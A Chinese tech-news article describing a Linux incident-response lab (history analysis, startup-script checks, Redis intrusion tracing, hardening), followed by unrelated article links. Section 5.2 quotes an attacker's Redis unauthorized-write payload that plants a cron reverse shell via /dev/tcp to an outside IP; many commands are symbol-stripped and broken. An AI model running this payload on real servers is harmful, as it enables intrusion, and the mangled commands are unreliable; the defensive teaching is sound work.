首页/新闻资讯/正文详情

Linux应急响应实战:历史命令、开机脚本与Redis溯源

发布时间:2026/11/4 3:17:23 来源:云帆数科 栏目:资讯中心
Linux应急响应实战:历史命令、开机脚本与Redis溯源
1. 项目背景与核心价值这个靶场实战项目聚焦Linux系统应急响应中的三个典型场景历史命令分析、开机脚本审查和Redis服务溯源。作为安全从业者我经常遇到需要快速定位入侵痕迹的实战需求而这三个方向恰恰覆盖了攻击者最常见的驻留手段。历史命令分析能还原攻击者的操作路径开机脚本审查可发现持久化后门Redis溯源则针对暴露在公网的高危服务。通过这个靶机环境新手可以建立起基础的应急响应思维老手则能验证自己的排查流程是否严谨。我在金融和互联网行业做红蓝对抗时这套组合拳曾多次帮助快速定位入侵源头。2. 环境准备与初始访问2.1 靶机环境配置使用VirtualBox搭建Ubuntu 20.04靶机环境关键配置包括分配2核CPU/4GB内存开启嵌套虚拟化针对后续可能的内存取证配置双网卡NATHost-only预装redis-server、vim、net-tools等基础工具注意不要使用桥接模式避免靶机IP暴露在真实网络环境中。我在某次企业内网演练中就因为桥接配置不当导致扫描流量触发了安全告警。2.2 初始访问痕迹分析登录后首先检查auth日志grep Accepted password /var/log/auth.log发现可疑SSH登录记录Jun 15 03:28:21 target sshd[1327]: Accepted password for test from 192.168.1.100 port 54321这显示攻击者可能通过弱口令test获得了初始访问权限。建议立即检查/etc/shadow文件权限和用户列表。3. 历史命令深度分析3.1 基础历史记录检查常规操作是直接查看.bash_historycat ~/.bash_history但实战中攻击者往往会清空记录。更可靠的方法是检查内存中的历史命令history -a # 强制写入缓存命令 cat ~/.bash_history | grep -v ^#3.2 高级历史记录恢复当发现历史记录被清空时可采用以下方法检查所有用户的history文件find /home -name .bash_history -exec ls -la {} \;使用strings扫描内存strings /dev/shm/* | grep -E curl|wget|ssh|scp分析临时文件grep -r password /tmp /var/tmp 2/dev/null在我的某次取证中就曾通过/dev/shm下的残留文件发现攻击者使用过的Meterpreter命令。4. 开机脚本排查实战4.1 常规启动项检查# 检查rc.local ls -la /etc/rc.local # 查看crontab crontab -l systemctl list-timers --all4.2 隐蔽启动项挖掘检查systemd服务systemctl list-unit-files --typeservice | grep enabled分析profile.d脚本ls -la /etc/profile.d/审查ld.so.preloadcat /etc/ld.so.preload 2/dev/null曾遇到攻击者将后门so文件注入到ld.preload中所有进程启动都会加载该动态库。5. Redis服务溯源分析5.1 Redis基础检查# 检查运行状态 systemctl status redis # 查看监听端口 netstat -tulnp | grep redis # 检查配置文件 grep -v ^# /etc/redis/redis.conf | grep -v ^$5.2 Redis入侵痕迹定位检查持久化文件ls -la /var/lib/redis/dump.rdb分析AOF日志redis-check-aof --fix appendonly.aof搜索可疑键值redis-cli KEYS * | grep -E backdoor|shell|payload在云服务器入侵案例中曾发现攻击者通过未授权Redis写入定时任务redis-cli -h 10.0.0.1 set x \n* * * * * bash -i /dev/tcp/1.2.3.4/8080 01\n config set dir /var/spool/cron/ config set dbfilename root save6. 综合排查流程6.1 时间线重建# 合并所有日志时间戳 cat /var/log/*.log | grep -E Jun 15 | sort -k36.2 文件完整性校验# 使用rpm校验系统文件 rpm -Va | grep ^..56.3 内存取证技巧# 使用LiME获取内存镜像 insmod lime.ko path/tmp/memdump.lime formatlime7. 防御加固建议SSH加固# 禁用密码登录 sed -i s/#PasswordAuthentication yes/PasswordAuthentication no/ /etc/ssh/sshd_configRedis防护# 绑定本地访问 echo bind 127.0.0.1 /etc/redis/redis.conf历史记录保护# 防止历史记录被清空 chattr a ~/.bash_history8. 实战经验总结多维度交叉验证不要仅依赖单一日志要结合命令历史、文件修改时间、网络连接综合分析时间戳分析技巧使用find命令按时间过滤可疑文件find / -mtime -1 -type f -exec ls -la {} \;应急响应黄金4小时发现入侵后要立即做内存转储避免关键证据丢失这个靶场涵盖了我处理Linux服务器入侵时最常用的三大技术方向。建议读者在干净环境中复现每个步骤理解攻击者的操作逻辑比单纯记忆命令更重要。

相关推荐

国家级地面气象站日值数据集:结构解析、清洗与工程应用
国家级地面气象站日值数据集:结构解析、清洗与工程应用

1. 先搞清楚这份数据集是什么、能干什么、不能干什么聊“国家级地面气象站基本气象要素日值数据集”之前,我习惯先说清楚它的物理形态:它是一份以“逐站、逐日”为粒度的长表数据,全国两千四百多个国家级地面观测站,从建站或1951年… · 2026/11/4 3:17:23

HACS极速版:6种环境适配的免诊断直通安装方案
HACS极速版:6种环境适配的免诊断直通安装方案

1. 项目概述:HACS 极速版到底是什么?它解决的不是“装不装得上”,而是“装完能不能用、用得稳不稳”HACS 极速版——这个在智能家居圈最近高频出现的词,不是官方发布的正式版本,也不是某个新出的独立软件,而… · 2026/11/4 3:17:23

泳道图制作全攻略:提升跨部门协作效率
泳道图制作全攻略:提升跨部门协作效率

1. 为什么你需要掌握泳道图制作技能泳道图(Swimlane Diagram)作为业务流程建模的标准工具,已经渗透到各行各业的工作场景中。在我过去五年的企业咨询经历中,亲眼见证了这种可视化工具如何帮助团队提升30%以上的流程沟通效率。不同… · 2026/11/4 3:16:22

声明 list 的3种方式,ArrayList、Collection、List 的对比
声明 list 的3种方式,ArrayList、Collection、List 的对比

ArrayList 是实现了 List 接口的类, 而 List 和 Collection 都是 Java集合框架中的接口。这三个声明之间有一些重要的区别:ArrayList list new ArrayList(); 左边是 具体实现类ArrayList ✅ 能直接调用 ArrayList 所有方法 ❌ 写死实现类,耦… · 2026/11/4 6:06:22

免费星穹铁道游戏自动化助手 March7thAssistant 上手指南
免费星穹铁道游戏自动化助手 March7thAssistant 上手指南

免费星穹铁道游戏自动化助手 March7thAssistant 上手指南 【免费下载链接】March7thAssistant 日常交给三月七,开拓留给你。《崩坏:星穹铁道》开源自动化助手。 项目地址: https://gitcode.com/gh_mirrors/ma/March7thAssistant 委托、体力、历战… · 2026/11/4 6:06:22

eslav_PP-OCRv5_mobile_rec_onnx进阶应用:结合TensorRT实现极致推理速度
eslav_PP-OCRv5_mobile_rec_onnx进阶应用:结合TensorRT实现极致推理速度

eslav_PP-OCRv5_mobile_rec_onnx进阶应用:结合TensorRT实现极致推理速度 【免费下载链接】eslav_PP-OCRv5_mobile_rec_onnx 项目地址: https://ai.gitcode.com/paddlepaddle/eslav_PP-OCRv5_mobile_rec_onnx 飞桨PaddlePaddle的eslav_PP-OCRv5_mobile_rec_o… · 2026/11/4 6:06:22

Marp 快速上手指南:3 步在本地把 Markdown 变成免费可导出的幻灯片
Marp 快速上手指南:3 步在本地把 Markdown 变成免费可导出的幻灯片

Marp 快速上手指南:3 步在本地把 Markdown 变成免费可导出的幻灯片 【免费下载链接】marp The entrance repository of Markdown presentation ecosystem 项目地址: https://gitcode.com/gh_mirrors/mar/marp Marp(Markdown Presentation Ecosyst… · 2026/11/4 6:06:22

XAutoDaily:QQ 自动签到模块的安装配置步骤与任务失败排查
XAutoDaily:QQ 自动签到模块的安装配置步骤与任务失败排查

XAutoDaily:QQ 自动签到模块的安装配置步骤与任务失败排查 【免费下载链接】XAutoDaily 一个基于QQ的全自动签到模块 项目地址: https://gitcode.com/GitHub_Trending/xa/XAutoDaily XAutoDaily 是一款开源的 Xposed 签到模块,用于 QQ 自动签到和… · 2026/11/4 6:06:22

车载SerDes选型本质:GMSL/FPD-Link/A-PHY底层逻辑解析
车载SerDes选型本质:GMSL/FPD-Link/A-PHY底层逻辑解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:05:22

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

AI辅助技术栈评估:提升研发决策效率60%
AI辅助技术栈评估:提升研发决策效率60%

1. 项目背景与核心价值技术决策一直是研发团队面临的重大挑战。随着技术生态的快速演进,技术栈的选择、维护和迭代变得愈发复杂。我们团队在过去两年里,先后经历了三次重大技术栈迁移,每次都需要投入大量人力进行技术评估和风险分析。直到去年… · 2026/11/4 0:00:17

从生成Token到直接决策:Jev如何重塑AI Agent工程实践
从生成Token到直接决策:Jev如何重塑AI Agent工程实践

1. 从"生成文字"到"拍板决策":Jev 到底在解决什么问题大多数人第一次接触大模型,脑子里建立的模型是"输入问题、输出文字"。你问它今天天气怎么样,它给你一段描述;你让它写个周报,它给你… · 2026/11/4 0:00:17

32G统一内存跑大模型:内存账、TPS实测与端云分流
32G统一内存跑大模型:内存账、TPS实测与端云分流

想在一台 32G 统一内存的小主机上把大模型跑成"日常可用",这件事我前后折腾了小半年。标题里说的这台 Mac mini M6,是我们这次讨论的目标平台,具体到手规格以实物为准;但下面这套推算方法和实测思路,对任何统… · 2026/11/4 0:00:17

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码